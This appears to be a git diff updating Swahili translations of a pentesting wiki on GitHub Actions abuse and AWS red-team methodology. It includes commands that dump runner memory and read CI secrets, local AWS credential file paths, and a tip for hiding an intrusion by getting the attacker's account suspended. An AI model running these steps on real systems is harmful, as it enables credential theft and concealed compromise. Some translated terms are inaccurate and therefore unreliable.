-Tatizo kubwa ni kwamba ikiwa **`path`** parameter haijawekwa, artifact inachukuliwa katika saraka ya sasa na inaweza kubadilisha faili ambazo zinaweza kutumika baadaye au hata kutekelezwa katika mchakato. Kwa hivyo, ikiwa Artifact ina hatari, mshambuliaji anaweza kutumia hii kuathiri michakato mingine inayotegemea Artifact.
+Tatizo kubwa ni kwamba ikiwa **`path`** parameter haijawekwa, artifact inachukuliwa katika saraka ya sasa na inaweza kubadilisha faili ambazo zinaweza kutumika baadaye au hata kutekelezwa katika workflow. Kwa hivyo, ikiwa Artifact ina hatari, mshambuliaji anaweza kutumia hii kuathiri workflows zingine zinazotegemea Artifact.
-Mfano wa mchakato wa hatari:
+Mfano wa workflow hatari:
```yaml
on:
workflow_run:
@@ -342,25 +342,25 @@ path: ./script.py
## Mipango Mingine ya Nje
-### Utekwaji wa Repo ya Namespace Iliyofutwa
+### Utekaji wa Repo ya Namespace Iliyofutwa
-Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kujiandikisha na akaunti yenye jina hilo baada ya muda fulani. Ikiwa hazina ilikuwa na **nyota chini ya 100 kabla ya kubadilisha jina**, Github itaruhusu mtumiaji mpya aliyejiandikisha kwa jina hilo kuunda **hazina yenye jina sawa** na ile iliyofutwa.
+Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kujiandikisha kwa akaunti hiyo baada ya muda fulani. Ikiwa hazina ilikuwa na **nyota chini ya 100 kabla ya kubadilisha jina**, Github itaruhusu mtumiaji mpya aliyejiandikisha kwa jina hilo kuunda **hazina yenye jina sawa** na ile iliyofutwa.
> [!CAUTION]
-> Hivyo basi ikiwa hatua inatumia hazina kutoka kwa akaunti isiyokuwepo, bado inawezekana kwamba mshambuliaji anaweza kuunda akaunti hiyo na kuathiri hatua hiyo.
+> Hivyo basi ikiwa hatua inatumia hazina kutoka kwa akaunti isiyopo, bado inawezekana kwamba mshambuliaji anaweza kuunda akaunti hiyo na kuathiri hatua hiyo.
-Ikiwa hazina nyingine zilikuwa zikitumika **kutegemea kutoka kwa hazina za mtumiaji huyu**, mshambuliaji ataweza kuziiba. Hapa kuna maelezo kamili zaidi: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Ikiwa hazina nyingine zilikuwa zikitumika **kutegemea kutoka kwa hazina za mtumiaji huyu**, mshambuliaji ataweza kuzikamata. Hapa kuna maelezo kamili zaidi: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Mabadiliko ya Repo
> [!NOTE]
-> Katika sehemu hii tutazungumzia mbinu ambazo zitaruhusu **kuhamasisha kutoka repo moja hadi nyingine** tukidhani tuna aina fulani ya ufikiaji kwenye ya kwanza (angalia sehemu iliyopita).
+> Katika sehemu hii tutazungumzia mbinu ambazo zitaruhusu **kubadilisha kutoka repo moja hadi nyingine** tukidhani tuna aina fulani ya ufikiaji kwenye ya kwanza (angalia sehemu iliyopita).
### Upoison wa Cache
-Cache inashikiliwa kati ya **mizunguko ya workflow katika tawi moja**. Hii ina maana kwamba ikiwa mshambuliaji **ataathiri** **pakiti** ambayo kisha inahifadhiwa kwenye cache na **kupakuliwa** na kutekelezwa na **workflow yenye mamlaka zaidi**, ataweza pia **kuathiri** workflow hiyo.
+Cache inahifadhiwa kati ya **mifumo ya kazi katika tawi moja**. Hii ina maana kwamba ikiwa mshambuliaji **ataathiri** **kifurushi** ambacho kisha kinahifadhiwa kwenye cache na **kupakuliwa** na kutekelezwa na **mifumo ya kazi yenye mamlaka zaidi**, ataweza pia **kuathiri** mfumo huo wa kazi.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md
### Upoison wa Kazi
-Workflows zinaweza kutumia **kazi kutoka kwa workflows nyingine na hata hazina**, ikiwa mshambuliaji anafanikiwa **kuathiri** Github Action inay **pakia kazi** ambayo baadaye inatumika na workflow nyingine, anaweza **kuathiri workflows nyingine**:
+Mifumo ya kazi inaweza kutumia **kazi kutoka mifumo mingine ya kazi na hata hazina**, ikiwa mshambuliaji anafanikiwa **kuathiri** Github Action inayopakia **kazi** ambayo baadaye inatumika na mfumo mwingine wa kazi, anaweza **kuathiri mifumo mingine ya kazi**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -392,7 +392,7 @@ Angalia kurasa zifuatazo:
### Kufikia siri
-Ikiwa unachoma maudhui kwenye script, ni muhimu kujua jinsi ya kufikia siri:
+Ikiwa unachoma maudhui kwenye skripti, ni muhimu kujua jinsi unavyoweza kufikia siri:
- Ikiwa siri au token imewekwa kwenye **kigezo cha mazingira**, inaweza kufikiwa moja kwa moja kupitia mazingira kwa kutumia **`printenv`**.
@@ -452,7 +452,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
- ```bash
cat /home/runner/work/_temp/*
```
-- Kwa hatua za JavaScript, siri zinatumwa kupitia mabadiliko ya mazingira
+- Kwa hatua za JavaScript, siri zinatumwa kupitia mabadiliko ya mazingira.
- ```bash
ps axe | grep node
```
@@ -464,13 +464,13 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
-### Kutumia Runners za Kujihudumia
+### Kutumia Runners Zilizojitegemea
Njia ya kutafuta ni zipi **Github Actions zinazotekelezwa katika miundombinu isiyo ya github** ni kutafuta **`runs-on: self-hosted`** katika usanidi wa yaml wa Github Action.
-**Runners za kujihudumia** zinaweza kuwa na ufikiaji wa **habari nyeti zaidi**, kwa mifumo mingine ya **mtandao** (nukta dhaifu katika mtandao? huduma ya metadata?) au, hata kama imejitengea na kuharibiwa, **hatua zaidi ya moja zinaweza kufanywa kwa wakati mmoja** na ile mbaya inaweza **kuiba siri** za nyingine.
+**Runners zilizojitegemea** zinaweza kuwa na ufikiaji wa **habari nyeti zaidi**, kwa mifumo mingine ya **mtandao** (nukta dhaifu katika mtandao? huduma ya metadata?) au, hata kama imejitengea na kuharibiwa, **hatua zaidi ya moja zinaweza kufanywa kwa wakati mmoja** na ile mbaya inaweza **kuiba siri** za nyingine.
-Katika runners za kujihudumia pia inawezekana kupata **siri kutoka kwa \_Runner.Listener**\_\*\* mchakato\*\* ambao utakuwa na siri zote za kazi katika hatua yoyote kwa kutupa kumbukumbu yake:
+Katika runners zilizojitegemea pia inawezekana kupata **siri kutoka kwa \_Runner.Listener**\_\*\* mchakato\*\* ambao utakuwa na siri zote za kazi katika hatua yoyote kwa kutupa kumbukumbu yake:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
@@ -479,12 +479,12 @@ Angalia [**post hii kwa maelezo zaidi**](https://karimrahal.com/2023/01/05/githu
### Github Docker Images Registry
-Inawezekana kuunda Github actions ambazo **zitajenga na kuhifadhi picha ya Docker ndani ya Github**.\
+Inawezekana kuunda hatua za Github ambazo zitajenga na kuhifadhi picha ya Docker ndani ya Github.\
Mfano unaweza kupatikana katika yafuatayo yanayoweza kupanuliwa:
-Github Action Build & Push Docker Image
+Github Action Build & Push Docker Image
```yaml
[...]
@@ -517,7 +517,7 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
Kama unavyoona katika msimbo wa awali, usajili wa Github unahifadhiwa katika **`ghcr.io`**.
-Mtumiaji mwenye ruhusa za kusoma juu ya repo ataweza kupakua Picha ya Docker kwa kutumia tokeni ya ufikiaji wa kibinafsi:
+Mtumiaji mwenye ruhusa za kusoma juu ya repo basi ataweza kupakua Picha ya Docker akitumia tokeni ya ufikiaji wa kibinafsi:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
@@ -525,12 +525,12 @@ docker pull ghcr.io//:
Kisha, mtumiaji anaweza kutafuta **siri zilizovuja katika tabaka za picha za Docker:**
{{#ref}}
-https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Taarifa nyeti katika kumbukumbu za Github Actions
-Hata kama **Github** inajaribu **kubaini thamani za siri** katika kumbukumbu za hatua na **kuepuka kuonyesha** hizo, **data nyeti nyingine** ambazo zinaweza kuwa zimeundwa katika utekelezaji wa hatua hiyo hazitafichwa. Kwa mfano, JWT iliyosainiwa kwa thamani ya siri haitafichwa isipokuwa [imewekwa maalum](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Hata kama **Github** inajaribu **kubaini thamani za siri** katika kumbukumbu za hatua na **kuepuka kuonyesha** hizo, **data nyeti nyingine** ambazo zinaweza kuwa zimezalishwa katika utekelezaji wa hatua hiyo hazitafichwa. Kwa mfano, JWT iliyosainiwa kwa thamani ya siri haitafichwa isipokuwa [imewekwa maalum](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Kufunika Nyayo Zako
@@ -539,7 +539,7 @@ Hata kama **Github** inajaribu **kubaini thamani za siri** katika kumbukumbu za
Shirika katika GitHub lina ufanisi mkubwa katika kuripoti akaunti kwa GitHub. Unachohitaji kufanya ni kushiriki "mambo fulani" katika Issue na watakikisha akaunti yako imesimamishwa ndani ya masaa 12 :p na hapo umepata, umefanya unyanyasaji wako usionekane kwenye github.
> [!WARNING]
-> Njia pekee kwa shirika kugundua kuwa wamekuwa wakilengwa ni kuangalia kumbukumbu za GitHub kutoka SIEM kwani kutoka kwa UI ya GitHub PR itakuwa imeondolewa.
+> Njia pekee kwa shirika kugundua kuwa wamekuwa wakilengwa ni kuangalia kumbukumbu za GitHub kutoka SIEM kwani kutoka UI ya GitHub PR itafutwa.
## Zana
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index 1498ad786..5afade696 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -4,9 +4,9 @@
## Basic Information
-**Kabla ya kuanza pentesting** katika **AWS** mazingira kuna mambo machache **muhimu unahitaji kujua** kuhusu jinsi AWS inavyofanya kazi ili kukusaidia kuelewa unachohitaji kufanya, jinsi ya kupata makosa ya usanidi na jinsi ya kuyatumia.
+**Kabla ya kuanza pentesting** mazingira ya **AWS**, kuna mambo machache **muhimu unahitaji kujua** kuhusu jinsi AWS inavyofanya kazi ili kukusaidia kuelewa unachohitaji kufanya, jinsi ya kupata makosa ya usanidi na jinsi ya kuyatumia.
-Mifano kama vile hiyerarhya ya shirika, IAM na dhana nyingine za msingi zinaelezwa katika:
+Mifano kama vile hierarchi ya shirika, IAM na dhana nyingine za msingi zinaelezwa katika:
{{#ref}}
aws-basic-information/
@@ -29,21 +29,21 @@ Tools to simulate attacks:
## AWS Pentester/Red Team Methodology
-Ili kukagua mazingira ya AWS ni muhimu sana kujua: ni **huduma zipi zinatumika**, nini kinacho **onyeshwa**, nani ana **ufikiaji** wa nini, na jinsi huduma za ndani za AWS na **huduma za nje** zinavyounganishwa.
+Ili kukagua mazingira ya AWS, ni muhimu sana kujua: ni **huduma zipi zinatumika**, nini kinacho **onyeshwa**, nani ana **ufikiaji** wa nini, na jinsi huduma za ndani za AWS na **huduma za nje** zinavyounganishwa.
-Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya AWS** ni kufanikiwa kupata **akidi** fulani. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo:
+Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya AWS** ni kupata **akili** fulani. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo:
- **Mvuja** katika github (au sawa) - OSINT
- **Uhandisi** wa Kijamii
- **Tena** matumizi ya nywila (mvuja za nywila)
-- Uhalifu katika Programu za AWS-Zilizohifadhiwa
-- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) yenye ufikiaji wa metadata endpoint
+- Uthibitisho katika Programu za AWS-Zilizohifadhiwa
+- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) yenye ufikiaji wa metadata endpoint
- **Usomaji wa Faili za Mitaa**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
-- **Watu wa tatu** walio **vunjwa**
+- 3rd parties **zilizoathirika**
- **Mfanyakazi** wa Ndani
-- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials
+- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credentials
Au kwa **kuathiri huduma isiyo na uthibitisho** iliyonyeshwa:
@@ -51,14 +51,14 @@ Au kwa **kuathiri huduma isiyo na uthibitisho** iliyonyeshwa:
aws-unauthenticated-enum-access/
{{#endref}}
-Au ikiwa unafanya **kaguzi** unaweza tu **kuomba akidi** na hizi nafasi:
+Au ikiwa unafanya **kaguzi** unaweza tu **kuomba credentials** na hizi nafasi:
{{#ref}}
aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
-> Baada ya kufanikiwa kupata akidi, unahitaji kujua **ni nani mwenye akidi hizo**, na **nini wana ufikiaji wa**, hivyo unahitaji kufanya uainishaji wa msingi:
+> Baada ya kufanikiwa kupata credentials, unahitaji kujua **ni nani mwenye hizo creds**, na **nini wana ufikiaji**, hivyo unahitaji kufanya uainishaji wa msingi:
## Basic Enumeration
@@ -67,7 +67,7 @@ aws-permissions-for-a-pentest.md
Ikiwa umepata SSRF katika mashine ndani ya AWS angalia ukurasa huu kwa mbinu:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
### Whoami
@@ -100,7 +100,7 @@ aws-services/aws-organizations-enum.md
### IAM Enumeration
-Ikiwa una ruhusa za kutosha **kuangalia haki za kila kitengo ndani ya akaunti ya AWS** itakusaidia kuelewa kile unachoweza kufanya na vitambulisho vingine na jinsi ya **kuinua haki**.
+Ikiwa una ruhusa za kutosha **kuangalia haki za kila kitengo ndani ya akaunti ya AWS** itakusaidia kuelewa ni nini unaweza kufanya na vitambulisho vingine na jinsi ya **kuinua haki**.
Ikiwa huna ruhusa za kutosha kuhesabu IAM, unaweza **kuiba kuzitafutia** ili kujua.\
Angalia **jinsi ya kufanya hesabu na brute-forcing** katika:
@@ -110,7 +110,7 @@ aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
-> Sasa kwamba **una taarifa fulani kuhusu hati zako** (na ikiwa wewe ni timu nyekundu matumaini huja **gundulika**). Ni wakati wa kubaini ni huduma zipi zinazotumika katika mazingira.\
+> Sasa kwamba **una taarifa fulani kuhusu hati zako** (na ikiwa wewe ni timu ya red, matumaini huja **gundulika**). Ni wakati wa kubaini ni huduma zipi zinazotumika katika mazingira.\
> Katika sehemu ifuatayo unaweza kuangalia njia kadhaa za **kuhesabu huduma za kawaida.**
## Services Enumeration, Post-Exploitation & Persistence
@@ -121,7 +121,7 @@ AWS ina idadi kubwa ya huduma, katika ukurasa ufuatao utapata **taarifa za msing
aws-services/
{{#endref}}
-Kumbuka kwamba **huhitaji** kufanya kazi yote **kwa mikono**, hapa chini katika chapisho hili unaweza kupata **sehemu kuhusu** [**zana za kiotomatiki**](./#automated-tools).
+Kumbuka kwamba **huhitaji** kufanya kazi yote **kwa mikono**, hapa chini katika chapisho hili unaweza kupata **sehemu kuhusu** [**zana za kiotomatiki**](#automated-tools).
Zaidi ya hayo, katika hatua hii unaweza kugundua **huduma zaidi zilizofichuliwa kwa watumiaji wasio na uthibitisho,** unaweza kuwa na uwezo wa kuzitumia:
@@ -140,19 +140,19 @@ aws-privilege-escalation/
## Publicly Exposed Services
Wakati wa kuhesabu huduma za AWS unaweza kuwa umepata baadhi yao **zinazoonyesha vitu kwenye Mtandao** (VM/Containers ports, databases au queue services, snapshots au buckets...).\
-Kama pentester/timu nyekundu unapaswa kila wakati kuangalia ikiwa unaweza kupata **taarifa nyeti / udhaifu** juu yao kwani zinaweza kukupa **ufikiaji zaidi kwenye akaunti ya AWS**.
+Kama pentester/red teamer unapaswa kila wakati kuangalia ikiwa unaweza kupata **taarifa nyeti / udhaifu** juu yao kwani zinaweza kukupa **ufikiaji zaidi kwenye akaunti ya AWS**.
Katika kitabu hiki unapaswa kupata **taarifa** kuhusu jinsi ya kupata **huduma za AWS zilizofichuliwa na jinsi ya kuziangalia**. Kuhusu jinsi ya kupata **udhaifu katika huduma za mtandao zilizofichuliwa** ningependekeza **utafute** huduma maalum katika:
{{#ref}}
-https://book.hacktricks.xyz/
+https://book.hacktricks.wiki/
{{#endref}}
## Compromising the Organization
### From the root/management account
-Wakati akaunti ya usimamizi inaunda akaunti mpya katika shirika, **jukumu jipya** linaundwa katika akaunti mpya, kwa default inaitwa **`OrganizationAccountAccessRole`** na kutoa sera ya **AdministratorAccess** kwa **akaunti ya usimamizi** ili kufikia akaunti mpya.
+Wakati akaunti ya usimamizi inaunda akaunti mpya katika shirika, **jukumu jipya** linaundwa katika akaunti mpya, kwa default linaitwa **`OrganizationAccountAccessRole`** na kutoa sera ya **AdministratorAccess** kwa **akaunti ya usimamizi** ili kufikia akaunti mpya.
@@ -160,7 +160,7 @@ Hivyo, ili kufikia kama msimamizi akaunti ya mtoto unahitaji:
- **Kuvunja** akaunti ya **usimamizi** na kupata **ID** ya **akaunti za watoto** na **majina** ya **jukumu** (OrganizationAccountAccessRole kwa default) inayoruhusu akaunti ya usimamizi kufikia kama msimamizi.
- Ili kupata akaunti za watoto nenda kwenye sehemu ya mashirika katika console ya aws au endesha `aws organizations list-accounts`
-- Huwezi kupata jina la majukumu moja kwa moja, hivyo angalia sera zote za kawaida za IAM na tafuta yoyote inayoruhusu **`sts:AssumeRole` juu ya akaunti za watoto zilizogunduliwa awali**.
+- Huwezi kupata jina la majukumu moja kwa moja, hivyo angalia sera zote za kawaida za IAM na utafute yoyote inayoruhusu **`sts:AssumeRole` juu ya akaunti za watoto zilizogunduliwa awali**.
- **Kuvunja** **mwanachama** katika akaunti ya usimamizi na **`sts:AssumeRole` ruhusa juu ya jukumu katika akaunti za watoto** (hata kama akaunti inaruhusu mtu yeyote kutoka akaunti ya usimamizi kujiwakilisha, kama ni akaunti ya nje, ruhusa maalum za `sts:AssumeRole` zinahitajika).
## Automated Tools
@@ -178,7 +178,7 @@ AWS_PROFILE= aws_recon \
--regions global,us-east-1,us-east-2 \
--verbose
```
-- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist ni **chombo cha multi-cloud kwa kupata Mali** (Majina ya mwenyeji, Anwani za IP) kutoka kwa Watoa huduma wa Cloud.
+- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist ni **chombo cha multi-cloud kwa kupata Mali** (Majina ya mwenyeji, Anwani za IP) kutoka kwa Watoa Huduma za Cloud.
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper inakusaidia kuchambua mazingira yako ya Amazon Web Services (AWS). Sasa ina kazi nyingi zaidi, ikiwa ni pamoja na ukaguzi wa masuala ya usalama.
```bash
# Installation steps in github
@@ -233,7 +233,7 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
-- [**starbase**](https://github.com/JupiterOne/starbase): Starbase inakusanya mali na uhusiano kutoka kwa huduma na mifumo ikiwa ni pamoja na miundombinu ya wingu, programu za SaaS, udhibiti wa usalama, na zaidi katika muonekano wa grafu unaoeleweka unaoungwa mkono na hifadhidata ya Neo4j.
+- [**starbase**](https://github.com/JupiterOne/starbase): Starbase inakusanya mali na uhusiano kutoka kwa huduma na mifumo ikiwa ni pamoja na miundombinu ya wingu, programu za SaaS, udhibiti wa usalama, na zaidi katika mtazamo wa grafu unaoeleweka unaoungwa mkono na hifadhidata ya Neo4j.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Inatumia python2) Hii ni zana inayojaribu **kuvumbua yote** [**rasilimali za AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) zilizoundwa katika akaunti.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Ni zana ya **kupata anwani zote za IP za umma** (zote IPv4/IPv6) zinazohusishwa na akaunti ya AWS.
@@ -277,8 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
-- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining ni chombo cha Tathmini ya Usalama wa AWS IAM ambacho kinatambua ukiukaji wa haki ndogo na kuzalisha ripoti ya HTML iliyo na kipaumbele cha hatari.\
-Itakuonyesha wateja wanaoweza kuwa **na haki nyingi**, sera za inline na aws **na ni **wakuu gani wana uf access** kwao. (Haki hizi hazichunguzwi tu kwa privesc bali pia aina nyingine za ruhusa za kuvutia, inapendekezwa kutumika).
+- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining ni chombo cha Tathmini ya Usalama wa AWS IAM ambacho kinatambua ukiukaji wa haki za chini na kuzalisha ripoti ya HTML iliyo na kipaumbele cha hatari.\
+Itakuonyesha wateja wanaoweza kuwa **na haki nyingi**, sera za inline na aws **na ni **wakuu gani wana ufaccess** kwao. (Haki hizi hazichunguzwi tu kwa privesc bali pia aina nyingine za ruhusa za kuvutia, inapendekezwa kutumika).
```bash
# Install
pip install cloudsplaining
@@ -290,13 +290,13 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack inakadiria akaunti za AWS kwa **udhaifu wa kuiba subdomain** kutokana na usanidi wa Route53 na CloudFront ambao haujashikamana.
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack inakadiria akaunti za AWS kwa **udhaifu wa hijacking wa subdomain** kutokana na usanidi wa Route53 na CloudFront ulioachwa mbali.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Orodha ya ECR repos -> Pull ECR repo -> Backdoor hiyo -> Push picha iliyokuwa na backdoor
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag ni chombo ambacho **kinatafuta** kupitia picha za umma za Elastic Block Storage (**EBS**) kwa siri ambazo zinaweza kuwa ziachwa kwa bahati mbaya.
-### Ukaguzi
+### Audit
-- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit na Aqua ni mradi wa chanzo wazi ulioandaliwa kuruhusu kugundua **hatari za usalama katika akaunti za miundombinu ya wingu**, ikiwa ni pamoja na: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), na GitHub (Haichunguza ShadowAdmins).
+- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit na Aqua ni mradi wa chanzo wazi ulioandaliwa kuruhusu kugundua **hatari za usalama katika akaunti za miundombinu ya wingu**, ikiwa ni pamoja na: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), na GitHub (Haifanyi utafutaji wa ShadowAdmins).
```bash
./index.js --csv=file.csv --console=table --config ./config.js
@@ -314,7 +314,7 @@ prowler -v
prowler
prowler aws --profile custom-profile [-M csv json json-asff html]
```
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox inakusaidia kupata ufahamu wa hali katika mazingira ya wingu yasiyojulikana. Ni zana ya mstari wa amri ya chanzo wazi iliyoundwa kusaidia wapenyezi na wataalamu wengine wa usalama wa kukabili kupata njia za shambulio zinazoweza kutumika katika miundombinu ya wingu.
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox inakusaidia kupata ufahamu wa hali katika mazingira ya wingu yasiyojulikana. Ni zana ya mstari wa amri ya chanzo wazi iliyoundwa kusaidia wapimaji wa penzi na wataalamu wengine wa usalama wa kukabili kupata njia za shambulio zinazoweza kutumika katika miundombinu ya wingu.
```bash
cloudfox aws --profile [profile-name] all-checks
```
@@ -330,12 +330,12 @@ scout --help
scout aws -p dev
```
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (inatumia python2.7 na inaonekana haijatunzwa)
-- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus ni chombo chenye nguvu kwa ajili ya AWS EC2 / S3 / CloudTrail / CloudWatch / KMS mbinu bora za kuimarisha (inaonekana haijatunzwa). Inakagua tu akreditif zilizowekwa kwa chaguo-msingi ndani ya mfumo.
+- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus ni chombo chenye nguvu kwa ajili ya AWS EC2 / S3 / CloudTrail / CloudWatch / KMS mbinu bora za kuimarisha (inaonekana haijatunzwa). Inakagua tu akauti za msingi zilizowekwa ndani ya mfumo.
### Ukaguzi wa Kudumu
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian ni injini ya sheria za kusimamia akaunti na rasilimali za umma za wingu. Inawaruhusu watumiaji **kufafanua sera za kuwezesha miundombinu ya wingu inayosimamiwa vizuri**, ambayo ni salama na imeboreshwa kwa gharama. Inakusanya mengi ya skripti za adhoc ambazo mashirika yana nazo kuwa chombo chepesi na chenye kubadilika, chenye vipimo na ripoti zilizounganishwa.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ni jukwaa la **ufuatiliaji wa kuendelea wa ufuataji, ripoti za ufuataji na automatisering ya usalama kwa ajili ya wingu**. Katika PacBot, sera za usalama na ufuataji zinawekwa kama msimbo. Rasilimali zote zinazogunduliwa na PacBot zinakaguliwa dhidi ya sera hizi ili kupima ufuataji wa sera. Mfumo wa **auto-fix** wa PacBot unatoa uwezo wa kujibu kiotomatiki kwa ukiukaji wa sera kwa kuchukua hatua zilizowekwa awali.
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian ni injini ya sheria kwa ajili ya kusimamia akaunti na rasilimali za umma za wingu. Inawaruhusu watumiaji **kufafanua sera za kuwezesha miundombinu ya wingu inayosimamiwa vizuri**, ambayo ni salama na imeboreshwa kwa gharama. Inakusanya scripts nyingi za adhoc ambazo mashirika yana nazo kuwa chombo chepesi na chenye kubadilika, chenye vipimo na ripoti zilizounganishwa.
+- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ni jukwaa la **ufuatiliaji wa kuendelea wa ufuataji, ripoti za ufuataji na automatisering ya usalama kwa ajili ya wingu**. Katika PacBot, sera za usalama na ufuataji zinawekwa kama msimbo. Rasilimali zote zinazogunduliwa na PacBot zinakaguliwa dhidi ya sera hizi ili kupima ufuataji wa sera. Mfumo wa **auto-fix** wa PacBot unatoa uwezo wa kujibu kiotomatiki kwa ukiukaji wa sera kwa kuchukua hatua zilizowekwa.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert ni mfumo wa uchambuzi wa data wa **wakati halisi** usio na seva ambao unakupa uwezo wa **kuingiza, kuchambua, na kutoa tahadhari** kuhusu data kutoka mazingira yoyote, **ukitumia vyanzo vya data na mantiki ya tahadhari unayofafanua**. Timu za usalama wa kompyuta zinatumia StreamAlert kuchanganua terabytes za data za kumbukumbu kila siku kwa ajili ya kugundua na kujibu matukio.
## DEBUG: Capture AWS cli requests
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 56111a2de..7e76c542e 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -7,7 +7,7 @@
Kwa maelezo kuhusu SAML tafadhali angalia:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/saml-attacks
+https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}
Ili kuunda **Identity Federation kupitia SAML** unahitaji tu kutoa **jina** na **metadata XML** inayojumuisha usanidi wote wa SAML (**endpoints**, **cheti** chenye funguo za umma)
@@ -19,7 +19,7 @@ Ili kuongeza hatua ya github kama mtoa kitambulisho:
1. Kwa _Aina ya Mtoa_, chagua **OpenID Connect**.
2. Kwa _URL ya Mtoa_, ingiza `https://token.actions.githubusercontent.com`
3. Bonyeza _Pata thumbprint_ ili kupata thumbprint ya mtoa
-4. Kwa _Watazamaji_, ingiza `sts.amazonaws.com`
+4. Kwa _Audience_, ingiza `sts.amazonaws.com`
5. Unda **jukumu jipya** lenye **idhini** zinazohitajika na hatua ya github na **sera ya kuamini** inayomwamini mtoa kama:
- ```json
{
@@ -44,9 +44,9 @@ Ili kuongeza hatua ya github kama mtoa kitambulisho:
]
}
```
-6. Kumbuka katika sera iliyopita jinsi tu **tawi** kutoka **hifadhi** ya **shirika** iliruhusiwa kwa **kichocheo** maalum.
-7. **ARN** ya **jukumu** ambalo hatua ya github itakuwa na uwezo wa **kujifanya** itakuwa "siri" ambayo hatua ya github inahitaji kujua, hivyo **hifadhi** ndani ya **siri** ndani ya **mazingira**.
-8. Hatimaye tumia hatua ya github kuunda AWS creds zitakazotumika na mchakato:
+6. Kumbuka katika sera iliyopita jinsi **tawi** moja tu kutoka **hifadhi** ya **shirika** lilihitajika kwa **trigger** maalum.
